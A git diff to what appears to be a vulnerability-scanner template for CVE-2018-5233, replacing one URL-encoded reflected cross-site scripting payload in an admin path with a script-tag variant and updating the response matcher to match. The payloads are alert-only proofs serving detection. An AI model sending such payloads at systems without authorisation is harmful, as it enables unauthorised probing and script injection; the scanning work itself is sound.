diff --git a/cves/2018/CVE-2018-5233.yaml b/cves/2018/CVE-2018-5233.yaml
index ff121f82e0..6dd9374e44 100644
--- a/cves/2018/CVE-2018-5233.yaml
+++ b/cves/2018/CVE-2018-5233.yaml
@@ -12,13 +12,13 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/admin/tools/a--%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E"
+      - "{{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
 
     matchers-condition: and
     matchers:
       - type: word
         words:
-          - '><img src=x onerror=alert(document.domain)>'
+          - '</script><script>alert(document.domain)</script>'
         part: body
 
       - type: status